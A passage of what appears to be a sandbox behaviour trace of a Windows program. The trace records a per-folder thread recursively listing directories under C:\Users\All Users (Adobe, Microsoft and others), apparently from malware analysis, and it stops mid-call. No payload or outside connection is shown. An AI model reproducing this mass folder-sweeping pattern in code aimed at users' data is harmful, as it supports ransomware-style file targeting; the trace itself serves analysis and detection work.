lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe60 [0168.720] wcscmp (_String1=".", _String2=".") returned 0 [0168.720] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.720] wcscmp (_String1="..", _String2=".") returned 1 [0168.720] wcscmp (_String1="..", _String2="..") returned 0 [0168.720] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.720] FindClose (in: hFindFile=0x2f7fe60 | out: hFindFile=0x2f7fe60) returned 1 [0168.720] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.720] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fe20) returned 1 [0168.720] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133d0) returned 1 [0168.720] RtlExitUserThread (Status=0x0) Thread: id = 1759 os_tid = 0xe2c [0168.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fe20 [0168.721] wcscpy (in: _Dest=0x2f7fe20, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0168.721] wcscat (in: _Dest=0x2f7fe20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0168.721] wcscat (in: _Dest=0x2f7fe20, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\*") returned="C:\\Users\\All Users\\Adobe\\*" [0168.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.721] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe60 [0168.722] wcscmp (_String1=".", _String2=".") returned 0 [0168.722] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.722] wcscmp (_String1="..", _String2=".") returned 1 [0168.722] wcscmp (_String1="..", _String2="..") returned 0 [0168.722] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0168.722] wcscmp (_String1="ARM", _String2=".") returned 1 [0168.722] wcscmp (_String1="ARM", _String2="..") returned 1 [0168.722] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87110 [0168.722] wcscpy (in: _Dest=0x2f87110, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0168.722] wcscat (in: _Dest=0x2f87110, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0168.722] wcscat (in: _Dest=0x2f87110, _Source="ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0168.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0168.808] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0168.808] FindClose (in: hFindFile=0x2f7fe60 | out: hFindFile=0x2f7fe60) returned 1 [0168.808] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.809] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fe20) returned 1 [0168.809] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80820) returned 1 [0168.809] RtlExitUserThread (Status=0x0) Thread: id = 1760 os_tid = 0xe30 [0168.722] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7ffe0 [0168.722] wcscpy (in: _Dest=0x2f7ffe0, _Source="C:\\Users\\All Users\\Comms" | out: _Dest="C:\\Users\\All Users\\Comms") returned="C:\\Users\\All Users\\Comms" [0168.722] wcscat (in: _Dest=0x2f7ffe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Comms\\") returned="C:\\Users\\All Users\\Comms\\" [0168.722] wcscat (in: _Dest=0x2f7ffe0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Comms\\*") returned="C:\\Users\\All Users\\Comms\\*" [0168.722] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9bcd0 [0168.723] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Comms\\*", lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80060 [0168.723] wcscmp (_String1=".", _String2=".") returned 0 [0168.723] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.723] wcscmp (_String1="..", _String2=".") returned 1 [0168.723] wcscmp (_String1="..", _String2="..") returned 0 [0168.723] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.724] FindClose (in: hFindFile=0x2f80060 | out: hFindFile=0x2f80060) returned 1 [0168.724] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9bcd0) returned 1 [0168.724] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7ffe0) returned 1 [0168.724] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f803a0) returned 1 [0168.724] RtlExitUserThread (Status=0x0) Thread: id = 1761 os_tid = 0xe34 [0168.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87590 [0168.725] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\All Users\\Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0168.725] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Desktop\\") returned="C:\\Users\\All Users\\Desktop\\" [0168.725] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\All Users\\Desktop\\*") returned="C:\\Users\\All Users\\Desktop\\*" [0168.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9bcd0 [0168.725] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9bcd0) returned 1 [0168.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7ff20) returned 1 [0168.725] RtlExitUserThread (Status=0x0) Thread: id = 1762 os_tid = 0xe38 [0168.726] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f87590 [0168.726] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\All Users\\Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0168.726] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Documents\\") returned="C:\\Users\\All Users\\Documents\\" [0168.726] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\All Users\\Documents\\*") returned="C:\\Users\\All Users\\Documents\\*" [0168.726] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99d88 [0168.726] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99d88) returned 1 [0168.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87278) returned 1 [0168.727] RtlExitUserThread (Status=0x0) Thread: id = 1763 os_tid = 0xe44 [0168.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f87590 [0168.728] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.728] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.728] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\*") returned="C:\\Users\\All Users\\Microsoft\\*" [0168.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c8d8 [0168.728] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fb20 [0168.728] wcscmp (_String1=".", _String2=".") returned 0 [0168.728] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.728] wcscmp (_String1="..", _String2=".") returned 1 [0168.728] wcscmp (_String1="..", _String2="..") returned 0 [0168.728] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppV", cAlternateFileName="")) returned 1 [0168.728] wcscmp (_String1="AppV", _String2=".") returned 1 [0168.728] wcscmp (_String1="AppV", _String2="..") returned 1 [0168.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x44) returned 0x2fa11d0 [0168.728] wcscpy (in: _Dest=0x2fa11d0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.728] wcscat (in: _Dest=0x2fa11d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.728] wcscat (in: _Dest=0x2fa11d0, _Source="AppV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV") returned="C:\\Users\\All Users\\Microsoft\\AppV" [0168.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa11d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0168.778] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x84f5800b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84f5800b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0168.778] wcscmp (_String1="ClickToRun", _String2=".") returned 1 [0168.778] wcscmp (_String1="ClickToRun", _String2="..") returned 1 [0168.778] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f6b640 [0168.778] wcscpy (in: _Dest=0x2f6b640, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.778] wcscat (in: _Dest=0x2f6b640, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.778] wcscat (in: _Dest=0x2f6b640, _Source="ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0168.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6b640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0168.779] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0168.779] wcscmp (_String1="Crypto", _String2=".") returned 1 [0168.779] wcscmp (_String1="Crypto", _String2="..") returned 1 [0168.779] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa1090 [0168.779] wcscpy (in: _Dest=0x2fa1090, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.779] wcscat (in: _Dest=0x2fa1090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.779] wcscat (in: _Dest=0x2fa1090, _Source="Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0168.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c [0168.780] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0168.780] wcscmp (_String1="DataMart", _String2=".") returned 1 [0168.780] wcscmp (_String1="DataMart", _String2="..") returned 1 [0168.780] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f68448 [0168.780] wcscpy (in: _Dest=0x2f68448, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.780] wcscat (in: _Dest=0x2f68448, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.780] wcscat (in: _Dest=0x2f68448, _Source="DataMart" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart") returned="C:\\Users\\All Users\\Microsoft\\DataMart" [0168.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f68448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350 [0168.781] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0168.781] wcscmp (_String1="Device Stage", _String2=".") returned 1 [0168.781] wcscmp (_String1="Device Stage", _String2="..") returned 1 [0168.781] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2faa030 [0168.781] wcscpy (in: _Dest=0x2faa030, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.781] wcscat (in: _Dest=0x2faa030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.781] wcscat (in: _Dest=0x2faa030, _Source="Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0168.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2faa030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488 [0168.781] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0168.781] wcscmp (_String1="DeviceSync", _String2=".") returned 1 [0168.781] wcscmp (_String1="DeviceSync", _String2="..") returned 1 [0168.781] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f604a0 [0168.781] wcscpy (in: _Dest=0x2f604a0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.782] wcscat (in: _Dest=0x2f604a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.782] wcscat (in: _Dest=0x2f604a0, _Source="DeviceSync" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync" [0168.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f604a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0168.782] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0168.782] wcscmp (_String1="Diagnosis", _String2=".") returned 1 [0168.782] wcscmp (_String1="Diagnosis", _String2="..") returned 1 [0168.782] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f64ad0 [0168.782] wcscpy (in: _Dest=0x2f64ad0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.782] wcscat (in: _Dest=0x2f64ad0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.782] wcscat (in: _Dest=0x2f64ad0, _Source="Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0168.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f64ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0168.783] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0168.783] wcscmp (_String1="DRM", _String2=".") returned 1 [0168.783] wcscmp (_String1="DRM", _String2="..") returned 1 [0168.783] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x2fa0ff0 [0168.783] wcscpy (in: _Dest=0x2fa0ff0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.783] wcscat (in: _Dest=0x2fa0ff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.783] wcscat (in: 